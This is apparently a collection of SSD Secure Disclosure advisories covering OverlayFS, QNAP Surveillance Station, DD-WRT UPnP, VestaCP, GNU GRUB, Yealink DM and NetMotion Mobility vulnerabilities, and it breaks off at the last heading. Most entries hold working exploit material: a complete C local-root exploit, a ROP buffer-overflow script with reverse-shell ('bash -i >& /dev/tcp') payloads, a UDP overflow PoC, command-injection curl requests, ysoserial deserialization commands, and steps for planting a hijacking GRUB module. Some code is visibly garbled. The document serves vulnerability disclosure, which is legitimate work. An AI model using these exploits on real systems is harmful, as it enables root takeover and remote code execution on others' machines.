SSD Advisory – OverlayFS PE


Find out how a vulnerability in OverlayFS allows local users under Ubuntu to gain root privileges.

Vulnerability Summary

An Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated privileges, due to a patch carried in Ubuntu to allow unprivileged overlayfs mounts.




An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

Vendor Response

“We published security advisories for this issue today in

as well as making the issue public in our CVE tracker:

The following is the content of the message was sent to the oss-security list:

Vulnerability Analysis

Linux supports file capabilities stored in extended file attributes that work similarly to setuid-bit, but can be more fine-grained. A simplified procedure for setting file capabilities in pseudo-code looks like this:

    if cap_convert_nscap(...) is not OK:
        then fail

The important call is cap_convert_nscap, which checks permissions with respect to namespaces.

If we set the file capabilities from our own namespace and on our own mount, there is no problem and we have permission to do so. The problem is that when OverlayFS forwards this operation to the underlying file system, it only calls vfs_setxattr and skips checks in cap_convert_nscap.

This allows to set arbitrary capabilities on files in outer namespace/mount, where they will also be applied during execution.

In Linux 5.11 the call to cap_convert_nscap was moved into vfs_setxattr, so it is no more vulnerable.



#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);

#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"

static void xmkdir(const char *path, mode_t mode)
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);

static void xwritefile(const char *path, const char *data)
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);

static void xcopyfile(const char *src, const char *dst, mode_t mode)
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
        } else if (rd == -1) {
            if (errno == EINTR)
            err(1, "read %s", src);

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                err(1, "write %s", dst);
            p += wr;
            rd -= wr;


static int exploit()
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;

int main(int argc, char *argv[])
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
    } else {
        waitpid(child, NULL, 0);

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);

SSD Advisory – QNAP Pre-Auth CGI_Find_Parameter RCE


Find out how a memory corruption vulnerability can lead to a pre-auth remote code execution on QNAP QTS’s Surveillance Station plugin.

Vulnerability Summary

QNAP NAS with “Surveillance Station Local Display function can perform monitoring and playback by using an HDMI display to deliver live Full HD (1920×1080) video monitoring”.

Insecure use of user supplied data sent to the QNAP NAS device can be exploited to run arbitrary code by overflowing an internal buffer used by the Surveillance Station plugin.




An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

QNAP QTS Surveillance Station version

QNAP QTS Surveillance Station version

Vendor Response

“We fixed this vulnerability in the following versions:

Surveillance Station (and later) for ARM CPU NAS (64bit OS) and x86 CPU NAS (64bit OS)

Surveillance Station (and later) for ARM CPU NAS (32bit OS) and x86 CPU NAS (32bit OS)”

More details can be found here:

Vulnerability Analysis

Due to lack of proper bound checking, it’s possible to overflow a stack buffer with a specially crafted HTTP request.

user.cgi is used to manage login session to Surveillance Station. but vulnerability is caused by using strcpy while receiving sid through CGI_Find_Parameter function. Also, the vulnerable function call is located in the sub_ACB0 (from ida) here is part of binary user.cgi:

 v2 = CGI\_Find\_Parameter(a1, "initdata");
 v3 = CGI\_Find\_Parameter(v1, "user");
 if ( v3 ) {
    v4 =\*(\_DWORD \*)(v3 +4);
    if ( !\*(\_BYTE \*)v4 || !strcmp(\*(constchar\*\*)(v3 +4), "guest") ) 
        goto LABEL\_34; 
    else { 
        v4 =0; 

    v5 = CGI\_Find\_Parameter(v1, "pwd");
    if ( v5 ) 
        v6 =\*(char\*\*)(v5 +4);
    else v6 =0;

    v7 = CGI\_Find\_Parameter(v1, "sid");
    v8 = v7;

    if ( v7 ) {
        v9 =\*(constchar\*\*)(v7 +4);
        strcpy(&dest, v9);

The CGI_Find Parameter function is used to process a request in QNAP QTS.


import requests
import threading
from struct import *

p = lambda x: pack("<L", x)

def run(session, data):
    res = ["", data) for i in range(5000)]

def main():
	with requests.Session() as s:
                payload = "A" * 3108
                payload += p(0x74a8eb8c) # pop {r0, r4, pc}
                payload += p(0x71154e28) # heap address
                payload += "BBBB"
                payload += p(0x74a636c4 + 1) # system
                data = {
		    "act" : "login",
		    "sid" : payload,
		    "slep" : "bash -i >& /dev/tcp/ 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/ 0>&1;" * 0x5000,

                for i in range(30):
                    t = threading.Thread(target=run, args=(s, data))

if __name__ == '__main__':

SSD Advisory – DD-WRT UPNP Buffer Overflow


Find out how a vulnerability in DD-WRT allows an unauthenticated attacker to overflow an internal buffer used by UPNP and trigger a code execution vulnerability.

Vulnerability Summary

DD-WRT is “is Linux-based firmware for wireless routers and access points. Originally designed for the Linksys WRT54G series, it now runs on a wide variety of models”.

Use of user supplied data, arriving via UPNP packet, is copied into an internal buffer of DD-WRT. This buffer being limited in size – while user supplied data is not allows a remote attacker to trigger a buffer overflow.




An independent security researchers, Selim Enes Karaduman, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

DD-WRT with change set 45723 or prior

Buffalo devices that ship with DD-WRT should be considered to be vulnerable

Vendor Response

“Thanks for informing us about this issue. we will fix it ASAP and release a fixed version within the next days including update of our router database.
for all devices.

Fix can be reviewed here″

Vulnerability Analysis

Universal Plug and Play (UPnP) is “a set of networking protocols that permits networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points and mobile devices to seamlessly discover each other’s presence on the network and establish functional network services for data sharing, communications, and entertainment. UPnP is intended primarily for residential networks without enterprise-class devices”.

By default, UPNP in DD-WRT is disabled as well as only listening on internal network interfaces.

UPNP in its nature is an unauthenticated protocol, in UDP form – which makes it both easy to use as well as insecure in nature, as there is no way to enforce authentication on the protocol.

If DD-WRT has its UPNP service enabled a remote attacker sitting on the LAN where the DD-WRT device is present can trigger a buffer overflow by sending an overly long uuid value.

Depending on the platform DD-WRT is deployed on, there may or may not be mitigation such as ASLR and others, making exploitability dependent on the platform the DD-WRT is installed on.

Vulnerable Code

By reviewing the source code of ssdp.c it is fairly easy to spot the offending code:

An unbound copy from user provided data is copied into a buffer limited to 128 bytes in size.

Proof Of Concept

Because the UPNP service is not enabled by default, the first step to recreate the vulnerability would be to enable the service which will auto-start it:

Launching the PoC script will trigger the upnp service to crash as can be seen a few seconds after you launch the below python script:

import socket

target_ip = "" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 

payload = off + ret_addr

packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet.encode(), (target_ip, 1900) )

SSD Advisory – VestaCP LPE Vulnerabilities


Find out how multiple vulnerabilities in VestaCP allow an authenticated attacker to elevate his access to root privileges.

Vulnerability Summary

VestaCP is “an open source hosting control panel, a clean and focused interface without the clutter, and has the latest of very innovative technologies”.

Two security vulnerabilities in VestaCP allow attackers that have access to the VestaCP panel to elevate their privileges from user to admin, and subsequently from admin to root – by chaining these two vulnerabilities together a user can become ‘root’ on the victim machine.


CVE-2021-30462, CVE-2021-30463


Two independent security researchers, Martí Guasch Jiménez (@0xGsch) and Francisco Andreu Sanz (@kikoas1995), have reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

VestaCP version 0.9.8-24 and prior

Vendor Response

We informed the vendor 3 months ago and have initially had communication with the developers – however after a few back and forth emails with them – they have stopped answering our emails and have not released a patch.

We currently recommend you to use forks of VestaCP like, myVestaCP and HestiaCP, has they released patches for the vulnerabilities.

Vulnerability Analysis

Privilege escalation from user to admin in VestaCP

To show this vulnerability we will be using a standard user account in VestaCP which we previously created called user1.

First of all we will show you how to obtain a reverse shell as the user account in the VestaCP server. This is not completely necessary but facilitates the exploitation by a lot.

Reverse shell
In order to obtain the shell we need to create a cron job that executes periodically and sends a reverse shell to a server controlled by the attacker.

In the following image, we get a shell as the user who executed the cronjob.


Go to your users web directory inside your home directory (~) and create a directory with the name of the domain you desire, in our case we are using pwned.pwn.

Now inside that directory, create another directory called public_xhtml. And inside public_xhtml create a symlink pwn.pwn to the desired file you want to read, in this case we want to takeover the admin account so we are going to point to its user.conf which contains the RKEY that allows us to change their password, but we can takeover any account with this vulnerability or read any file.

Now again in the directory of our domain, pwned.pwn, create as many symlinks to the folders which we don’t have permission to access. In our case we need access to /usr/local/vesta/data/users and /usr/local/vesta/data/users/admin, so we create two symlinks with any desired name.

Once all the setup is finished we can trigger the vulnerability by creating a domain as the user1 with the name pwned.pwn in the /add/web URL of VestaCP.

After creating the domain we should see that some directories have been created in our domain folder, pwned.pwn. If we now try to read the contests of the user.conf of admin we should be able to do so.

Now that we can read its RKEY, we can simply access /reset/?action=confirm&user=admin&code=RKEY_VALUE and change the password of the admin user.

Root Cause

The vulnerability happens in the shell script v-add-web-domain which is called in /add/web/index.php.

In it, the following commands are used without checking if the directory already exists or has any contents. $domain is the name of the domain of our website and $user of our VestaCP user.

In lines 88 to 94 we can see that various chmod commands are used in our $domain directory. We can abuse the command in line 94 to change the permissions of the file we want to read, and the command in line 92 to change the permissions of the directories we need access to.

Privilege escalation from “admin” to “root” in VestaCP

To exploit this vulnerability we should also create a reverse shell as the admin user as seen in the previous one.

As seen in the following screenshot, VestaCP relies on bash scripts to perform every operation in the web-app, such as adding a user or listing them. The scripts are under the path /usr/local/vesta/bin.

These bash scripts are owned by root user and can not be modified. However, sudo -l reveals that admin can run any of these scripts as root without having to insert the password.


Looking at the script v-list-user we see that it uses the environment variable $VESTA at the beginning of it to import /usr/local/vesta/func/

First, let’s create a bash script under /tmp/func called, which is just going to spawn a shell.

As we are able to execute any of the scripts as root without entering the password, we can first overwrite the environment variable $VESTA before executing them.

This way, when running v-list-user, we will instantly have root access to the system:

SSD Advisory – GNU GRUB Command Injection


Find out how a vulnerability in GNU GRUB allows users on a Linux system to inject commands into the process of grub-mkconfig which allows them to execute arbitrary commands with elevated privileges.

Vulnerability Summary

GRUB ships with a script that allows generating /boot/grub/grub.cfg based on the operating systems installed on all the devices attached to the current system. The script is called grub-mkconfig. On Debian and systems based on Debian grub-mkconfig is run every time a kernel or driver is installed, upgraded or removed.

When grub-mkconfig detects a GNU/Linux system installed on a different media device, it examines that system’s /boot/grub/grub.cfg, looks at menuentrys inside and generates new menuentrys for the current system’s grub.cfg based on that info. When a new menuentry is being generated, certain GRUB commands (like linux and initrd) get copied from the “old” one.

grub-mkconfig doesn’t implement proper parsing of GRUB commands. When grub-mkconfig copies GRUB commands, it copies the whole lines that start with those commands. Inserting a semicolon after certain GRUB commands allows injecting GRUB commands that grub-mkconfig would not have copied otherwise.




An independent security researchers, NyankoSec, has reported this vulnerability to the SSD Secure Disclosure program.

Vendor Response

The vendor has been informed and has released patches that were distributed across all affected distributions of Linux and other potentially affected OSes – more details are available here:

Vulnerability Analysis

Basic details

grub-mkconfig detects GNU/Linux systems based on the presence of the following files:

  • It can be placed at several different locations and can have various suffixes like, creating an empty /lib/ is enough.
  • /boot/grub/grub.cfg
  • A file named after a kernel mentioned in /boot/grub/grub.cfg. For example: /vmlinuz. This file can be empty.

grub-mkconfig detects operating systems on every partition, regardless of whether that partition is mounted or not.

grub-mkconfig detects operating systems on any kind of media: hard disks, SSDs, USD drives, SD cards, etc.

Potential exploitation methods

Being able to inject arbitrary GRUB commands is nice, but we can’t know beforehand what kernel and initrd our target is using.

We might assume that /vmlinuz and /initrd.img are available, generate a menuentry based on that and force its execution with settimeout=0 and set default=$our_menuentry, but this approach is not robust.

The target system may have no /vmlinuz or /initrd.img, maybe using a non-standard init, etc.

AFAICT, it may also make circumventing full-disk encryption impossible in some cases. In general,this approach may break out target’s system, which is not something that we want.

It would be nice to be able to examine various menuentrys at runtime and hijack their linux commands. Unfortunately, GRUB script is not expressive enough to allow us to do that. To achieve that, we need a GRUB module.

Hijacking GRUB via module

To exploit the vulnerability in GRUB we will create a GRUB module called ggh.mod.

When ggh.mod is loaded, it registers a hook that fires up after GRUB has finished processing the entire grub.cfg file.

That hook goes through each menuentry loaded by GRUB from the grub.cfg file and replaces any linux or linux16 command with a hijacked version.

The hook also deletes any menuentry that contains a certain magics tring (“ggh_442ecb7e12dc4b8e”). Our exploit generates two dummy entries with that kind of name.

The only drawback of this approach is that the target must keep the infected device attached to the system until it reboots.

Flow of Attack

A user having control over a device that is one of the above can place the files that will be processed by GRUB such that when the kernel (for example) is upgraded and grub is subsequently called to install itself – this GRUB module we created will get called and modify the grub.cfg file with our controlled content.

Due to the complexity of the Exploit we will not be including it in this advisory, we are willing to share the Exploit with people that contact us via email.

Exploit Compiling

These instructions have been tested on Debian 9 and 10. The same instructions should work on any new version of Ubuntu as well.

A GRUB module compiled on one distro will work with any other reasonably new distro or GRUB version.

sudo apt build-dep grub2

Edit src/ggh_shellcode.1 to your liking or keep the default payload. Do not touch src/ggh_shellcode.2 unless you know what you are doing. Also, make sure that src/ggh_shellcode.1 is not too large: it gets base64-encoded and is passed as an argument to the Linux kernel, and Linux is not very happy about arguments over a certain size.

Run make. It will download the source code for GRUB (apt source grub2), compile ggh.mod and create build/rootfs.

Find out the UUID of the device you want to infect. Try findmnt -o TARGET,UUID or blkid.

Replace the dummy UUID (00000000-0000-0000-0000-000000000000) in build/rootfs/boot/grub/grub.cfg with the one you have just discovered.

Mount the device you want to infect and copy all the files in build/rootfs to it:

cp -RT build/rootfs /path/to/your/device

Now you just need to wait for someone to install something that requires upgrade-grub / grub-mkconfig to occur.

SSD Advisory – Yealink DM Pre Auth ‘root’ level RCE


Find out how multiple vulnerabilities in Yealink DM (Device Management) allow an unauthenticated attacker to run arbitrary commands on the server with root privileges.

Vulnerability Summary

Yealink DM (Device Management) platform – “offers a comprehensive management solution with key features Unified Deployment and Management, Real-Time Monitoring and Alarm, Remote Troubleshooting.”

Several vulnerabilities in the Yealink DM server allow remote unauthenticated attackers to cause the server to execute arbitrary commands due to the fact that user provided data is not properly filtered.


CVE-2021-27561 and CVE-2021-27562


Two independent security researchers, Pierre Kim and Alexandre Torres, have reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Yealink DM version and prior

Vendor Response

“For the YDMP new version release,  we don’t send a notification to the public, since we don’t force the customer to upgrade.

We will release a new version and upload the installation file to the official Yealink website and update the release note as well.

The update will be ready to download from our website in early 2021″

Vulnerability Analysis

By chaining a pre-auth SSRF vulnerability and a command injection vulnerability, it is possible to execute commands as root without authentication against this product, by sending a simple HTTPS request to the remote target.

Nginx configuration

By default, Nginx listens on port 443/tcp to provide TLS connectivity:

# netstat -nlapute|grep 443 tcp 0 0* LISTEN 0 16290 1180/nginx: master

By analysing the configuration of Nginx, it appears Nginx acts as a reverse proxy and the traffic to / is sent to

# cat /usr/local/yealink/nginx/conf/http.conf.d/yealink.conf
upstream server_frontend_manager {
    server manager-master:9880 weight=1 max_fails=5 fail_timeout=10s;
location / {
    proxy_pass https://server_frontend_manager;

Nginx will be used to send a specific request to a vulnerable NodeJS application.

NodeJS acting as a relay

The NodeJS dmweb application is running as yealink on

# netstat -lapute | grep 9880
tcp        0      0  *               LISTEN      yealink    21200      2789/node

# ps -auxww | grep 2789
yealink   2789  0.4  0.3 1306416 53172 ?       Ssl  05:31   0:02 /usr/local/yealink/nodejs/bin/node /usr/local/yealink/dmweb/app.js

The /usr/local/yealink/dmweb/app.js program is running on the loopback interface but is reachable from Nginx.

Analysis of /usr/local/yealink/dmweb/app.js

This application is a nodejs application with some dependencies. The interesting code is located in /usr/local/yealink/dmweb/api/index.js

     17 module.exports = app => {
     18     app.use('/premise', router);
     19 };


    217 router.get('/front/getPingData', (req, res) => {
    218     // res.send({"ret":1,"data":"PING ( 56 data bytes\n64 bytes from seq=0 ttl=54 time=15.084 ms\n64 bytes from seq=1 ttl=54 time=15.888 ms\n64 bytes from seq=2 ttl=54 time=15.742 ms\n64 bytes from seq=3 ttl=54 time=15.622         ms\n64 bytes from seq=4 ttl=54 time=16.384 ms\n\n--- ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null})
    219     // return;
    220     try {
    221         let url = req.query.url;
    222         // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传��
    223         let pos = req.query.pos;
    224         console.log(`url===${url}`);
    225         let headers = {
    226             'Content-Type': 'application/json',
    227             'User-Agent': req.headers['user-agent'],
    228             'x-forwarded-for': commom.getClientIP(req),
    229             token: req.session.token
    230         };
    231         request.get({
    232             url: url,
    233             headers: headers,
    234             timeout: 60000,
    235             qs: {
    236                 pos: pos
    237             }
    238         }).pipe(res);
    239     } catch (e) {
    240         console.error(e);
    241         res.send(
    242             errcode.MakeResult(
    243                 errcode.ERR,
    244                 e,
    245                 errcode.INTERNAL_ERROR,
    246                 'server.common.internal.error'
    247             )
    248         );
    249     }
    250 });

One line 17, there is a route defined for /premise, allowing to reach additional APIs.

On line 217, there is a definition for the API /premise/front/getPingData.

This function is vulnerable to SSRF:From line 217, it appears it is possible to send a HTTP request by defining an URL in GET (on line 232 from the value defined on line 221 from req.query.url) with specific headers (line 233, from value provided on line 227) and a new HTTP/HTTPS request will then be sent to the remote attacker-controlled URL.

PoC is:

curl -v --insecure "https://[target]/premise/front/getPingData?url=http://url/"

This is a basic pre-authenticated SSRF vulnerability allowing to reach internal daemons.

smserver daemon running as root on

By default, the program smserver runs as root on but firewall rules don’t allow external connections to this daemon.

# netstat -laputen|grep 9600
tcp        0      0  *               LISTEN      0          19775      1244/smserver

# ps -auxww|grep smserver
root      1244  1.6  0.2 1166932 34160 ?       SNl  05:28   0:26 /usr/local/yealink/smserver/bin/smserver -nc -run /var/run/yealink/smserver

smserver is a HTTP server. The previously found SSRF provided by the NodeJS server will provide a relay to send requests to the smserver as shown below:

kali$ curl --insecure ""
{"reason":{"module":"SmServer", "cause":404, "text":"URL NOT FOUND"}}

By reversing this binary, we found a command injection in the fw_restful_service_get() function located in the module /usr/local/yealink/smserver/mod/

In the function fw_restful_service_get(), the value for the GET variable zone is retrieved by the function fw_restful_get_arg_by_key() on line 16, then there is a construction of arguments on line 22 using snprintf(3).

Finally there is a call to fw_do_cmd() with the crafted command on line 27.

The fw_do_cmd() is just a wrapper to popen(3).

To reach this API, we need to send this HTTP request:;PAYLOAD;

The resulting command running as root will be:

# firewall-cmd --zone=;PAYLOAD; --list-services

Construction of the final exploit

The final path of exploitation is:

Nginx -> NodeJS -> smserver

By combining the SSRF and the injection, the final exploit is:

kali $ curl --insecure ";PAYLOAD;"

;PAYLOAD; will be executed as root without authentication on the target.

Example with /usr/bin/id:

kali $ curl --insecure ";/usr/bin/id;"

The command was executed as root on the appliance without authentication.


SSD Advisory – NetMotion Mobility Server Multiple Deserialization of Untrusted Data Lead to RCE


Find out how multiple vulnerabilities in NetMotion Mobility Server allow an unauthenticated attacker to run arbitrary code on the server with SYSTEM privileges.

Vulnerability Summary

NetMotion Mobility is “standards-compliant, client/server-based software that securely extends the enterprise network to the mobile environment. It is mobile VPN software that maximizes mobile field worker productivity by maintaining and securing their data connections as they move in and out of wireless coverage areas and roam between networks. Designed specifically for wireless environments, Mobility provides IT managers with the security and centralized control needed to effectively manage a mobile deployment. Mobility complements existing IT systems, is highly scalable, and easy to deploy and maintain”.

Several vulnerabilities in the NetMotion Mobility server allow remote attackers to cause the server to execute code due to the way the server deserialize incoming content.







An independent security researcher, Steven Seeley of Source Incite, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

NetMoition Mobility Server version 12.01.09045

Vendor Response

“On November 19, 2020, NetMotion alerted customers to security vulnerabilities in the Mobility web server and released updates for Mobility v11.x and v12.x to address them.

The vulnerabilities were fixed in versions Mobility v11.73 and v12.02, which were released on November 19, 2020. Customers should upgrade immediately to these or later versions.

NetMotion has always cautioned customers to put their servers behind a firewall. Customers who have not followed NetMotion’s recommendations (v11.73 and v12.02) for the secure configuration and deployment of their Mobility servers, and who have exposed access to the Mobility web server to untrusted networks or IP addresses, are particularly vulnerable to this attack.”

For more details see:

Vulnerability Analysis

SupportRpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the class, we can see the following code

public class SupportRpcServlet extends HttpServlet {
  public static final int SUPPORT_ZIP = 0;

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) {
    try {
      ObjectInputStream objectInputStream = new ObjectInputStream((InputStream)paramHttpServletRequest.getInputStream());
      RpcData rpcData = (RpcData)objectInputStream.readObject();    // 1
      if (rpcData.validate(true)) {
        command(paramHttpServletResponse, rpcData);
      } else {
    } catch (Exception exception) {
      Events.reportWarning(186, 37175, new String[] { paramHttpServletRequest.getRemoteAddr(), exception.toString() });

At [1] a readObject is used against attacker controlled inputstream without any protections.


java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/SupportRpcServlet

RpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the class we can see:

public class EventRpcServlet extends RpcServlet implements EventRpcRequest {     // 1
  public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long paramLong, Object paramObject) throws IOException {
    try {
      if (!EventRpcResponse.writeResponse(paramObjectOutputStream, paramInt, paramLong, paramObject))
    } catch (JniException jniException) {
      log("EventRpcServlet", (Throwable)jniException);

We can see that this servlet extends from RpcServlet at [1], so let’s check that code:

public class RpcServlet extends HttpServlet implements RpcResponseCommand {
  private RpcResponseDispatcher mDispatcher;

  private static final int MAX_REQUEST_SIZE = 5242880;

  public void init(ServletConfig paramServletConfig) throws ServletException {
    this.mDispatcher = new RpcResponseDispatcher(this, true, 5242880);

  public void destroy() {}

  public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long paramLong, Object paramObject) throws IOException {

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    this.mDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
          public RpcData readObject(ObjectInputStream param1ObjectInputStream) throws Exception {      // 2
            return (RpcData)param1ObjectInputStream.readObject();

At [2] we can see it has it’s own readObject dispatcher which also tries to read in an RpcData type that is not validated or checked against attacker controlled data.


java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/EventRpcServlet

MvcUtil valueStringToObject Deserialization of Untrusted Data Remote Code Execution

Inside of the com.nmwco.server.mvc.MvcServlet we can see the following code:

public class MvcServlet extends HttpServlet {
  static final long serialVersionUID = 1L;

  private String mPackage;

  public void init(ServletConfig paramServletConfig) throws ServletException {
    this.mPackage = getInitParameter("controllersPackage");
    if (null == this.mPackage)
      throw new ServletException("Could not find init parameter 'controllerPackage'");

  protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);

  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);

  protected void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    if (this.mPackage != null) {
      String str1 = "";
      String str2 = paramHttpServletRequest.getRequestURI();
      int i = paramHttpServletRequest.getServletPath().length() + 1;
      if (str2.length() > i) {
        int j = str2.indexOf("/", i);
        if (j < 0)
          j = str2.length();
        str1 = str2.substring(i, j);
      String str3 = this.mPackage + "." + str1 + "Controller";
      try {
        ServletContext servletContext = getServletConfig().getServletContext();
        MvcController mvcController = (MvcController)Class.forName(str3).newInstance();
        mvcController.invoke(servletContext, paramHttpServletRequest, paramHttpServletResponse);                  // 1
      } catch (ClassNotFoundException classNotFoundException) {
        String str = "/";
        if (!str1.isEmpty())
          str = str + MvcUtil.capsToUnderscores(str1) + ".jsp";
        forwardTo(str, paramHttpServletRequest, paramHttpServletResponse);
      } catch (IllegalAccessException illegalAccessException) {
        throw new ServletException("Could not access controller '" + str3 + "'");
      } catch (InstantiationException instantiationException) {
        throw new ServletException("Could not instantiate controller '" + str3 + "'");
    } else {
      throw new ServletException("Could not determine controller package.");

It’s possible to reach [1] unauthenticated meaning which is the invoke method of the com.nmwco.server.mvc.MvcController class using attacker controlled data as the second argument.

  public final void invoke(ServletContext paramServletContext, HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException {
    this.context = paramServletContext;
    this.request = paramHttpServletRequest;
    this.response = paramHttpServletResponse;
    this.session = paramHttpServletRequest.getSession();
    if (null != this.session) {
      Object object1 = this.session.getAttribute(getSessionModelName());
      if (null != object1) {
        if (object1 instanceof MvcModel) {
          this.model = (MvcModel)object1;
          this.resultInvocation = true;
      Object object2 = this.session.getAttribute("info");
      if (null != object2) {
        paramHttpServletRequest.setAttribute("info", object2);
      Object object3 = this.session.getAttribute("error");
      if (null != object3) {
        paramHttpServletRequest.setAttribute("error", object3);
      Object object4 = this.session.getAttribute("warning");
      if (null != object4) {
        paramHttpServletRequest.setAttribute("warning", object4);
    if (null == this.model)
      this.model = new MvcModel();
    this.model.putRequestParameters(paramHttpServletRequest);           // 2

An attacker can reach [2] which is a call to MvcModel.putRequestParameters using their controlled data.

  public void putRequestParameters(HttpServletRequest paramHttpServletRequest) {
    String str = paramHttpServletRequest.getParameter("Mvc_x_Form_x_Name");
    if (null != str) {
      Object object = MvcUtil.valueStringToObject(str);    // 3
      if (object instanceof Map) = uncheckedCast(object);

At [3] the MvcUtil.valueStringToObject method is called if the attacker supplied the query parameter Mvc_x_Form_x_Name.

  public static Object valueStringToObject(String paramString) {
    Object object = null;
    if (null != paramString)
      try {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(paramString.getBytes("UTF-8"));
        Base64InputStream base64InputStream = new Base64InputStream(byteArrayInputStream);
        ObjectInputStream objectInputStream = null;
        try {
          GZIPInputStream gZIPInputStream = new GZIPInputStream((InputStream)base64InputStream);
          objectInputStream = new ObjectInputStream(gZIPInputStream);
          object = objectInputStream.readObject();    // 4
        } catch (ClassNotFoundException classNotFoundException) {

        } catch (IOException iOException) {

        } finally {
          if (null != objectInputStream)
      } catch (IOException iOException) {}
    return object;

The value of Mvc_x_Form_x_Name is decoded from base64 and gzip inflated and finally has readObject called on it. An attacker can leverage this to achieve RCE.


java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
gzip payload.bin
curl -k "https://[target]/mobility/Menu/isLoggedOn" --data-urlencode "Mvc_x_Form_x_Name=`cat payload.bin.gz | base64 -w0`"

webrepdb StatusServlet Deserialization of Untrusted Data Remote Code Execution

